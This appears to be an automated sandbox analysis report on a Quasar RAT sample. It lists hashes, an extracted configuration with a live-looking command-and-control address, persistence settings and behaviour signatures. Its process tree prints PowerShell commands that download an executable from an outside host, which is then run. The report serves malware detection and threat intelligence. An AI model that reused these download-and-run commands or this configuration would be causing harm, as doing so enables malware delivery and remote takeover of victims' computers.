Analysis

  • max time kernel
    125s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-07-2024 18:09

General

  • Target

    8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe

  • Size

    288KB

  • MD5

    7e900eb50f9dc1cb5c68ffea4b9e7bcc

  • SHA1

    4dcc14dc2b98fbc171308fb55b5b8551dd96ea96

  • SHA256

    8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3

  • SHA512

    a77aeffc4f80358940e40789a67f67df5adc1bde4790a400665a98871498b10c3206981d3f18efa1149c9ec246f0343d133dd77de4f5a1f5816506a204276b1a

  • SSDEEP

    3072:6q6+ouCpk2mpcWJ0r+QNTBfRuk1qXkXRA4XTZK:6ldk1cWQRNTBpd8t

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

192.228.105.2:4782

Mutex

4ea5c3e6-40ed-401e-8a68-e96daa2a46a9

Attributes
  • encryption_key

    0FE4B3C613E3E61C318BA9D568DC6A8C56D2E505

  • install_name

    jorder.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    svchost

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
    "C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3776
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C14C.tmp\C14D.tmp\C14E.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1252
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5068
      • C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
        networkrunfdp.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3300

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a2b24af1492f112d2e53cb7415fda39f

    SHA1

    dbfcee57242a14b60997bd03379cc60198976d85

    SHA256

    fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

    SHA512

    9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

  • C:\Users\Admin\AppData\Local\Temp\C14C.tmp\C14D.tmp\C14E.bat

    Filesize

    334B

    MD5

    9aaac0122442ca0ebb4d8bb795e86676

    SHA1

    594744d8e4d51273dd435c3fac5799bc5f180e8c

    SHA256

    6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373

    SHA512

    d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_50cds5t0.p5w.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

    Filesize

    417KB

    MD5

    a18b7de2990becc30f700720e19ebfef

    SHA1

    b48c1a5c7756bccfe05d7999daeb96e7ab688cfd

    SHA256

    2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5

    SHA512

    484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b

  • memory/1252-13-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp

    Filesize

    10.8MB

  • memory/1252-14-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp

    Filesize

    10.8MB

  • memory/1252-17-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp

    Filesize

    10.8MB

  • memory/1252-8-0x0000024BC33C0000-0x0000024BC33E2000-memory.dmp

    Filesize

    136KB

  • memory/1252-2-0x00007FF9D7B93000-0x00007FF9D7B95000-memory.dmp

    Filesize

    8KB

  • memory/3300-41-0x00000000062A0000-0x00000000065C4000-memory.dmp

    Filesize

    3.1MB

  • memory/3300-40-0x0000000005830000-0x0000000005B55000-memory.dmp

    Filesize

    3.1MB

  • memory/3300-33-0x0000000000590000-0x00000000005FE000-memory.dmp

    Filesize

    440KB

  • memory/3300-42-0x0000000006B70000-0x0000000007114000-memory.dmp

    Filesize

    5.6MB

  • memory/3300-43-0x0000000006020000-0x00000000060B2000-memory.dmp

    Filesize

    584KB

  • memory/3300-44-0x00000000061B0000-0x00000000061BA000-memory.dmp

    Filesize

    40KB

  • memory/3300-45-0x0000000006810000-0x0000000006860000-memory.dmp

    Filesize

    320KB

  • memory/3300-46-0x0000000006920000-0x00000000069D2000-memory.dmp

    Filesize

    712KB

  • memory/3300-47-0x0000000007740000-0x0000000007D58000-memory.dmp

    Filesize

    6.1MB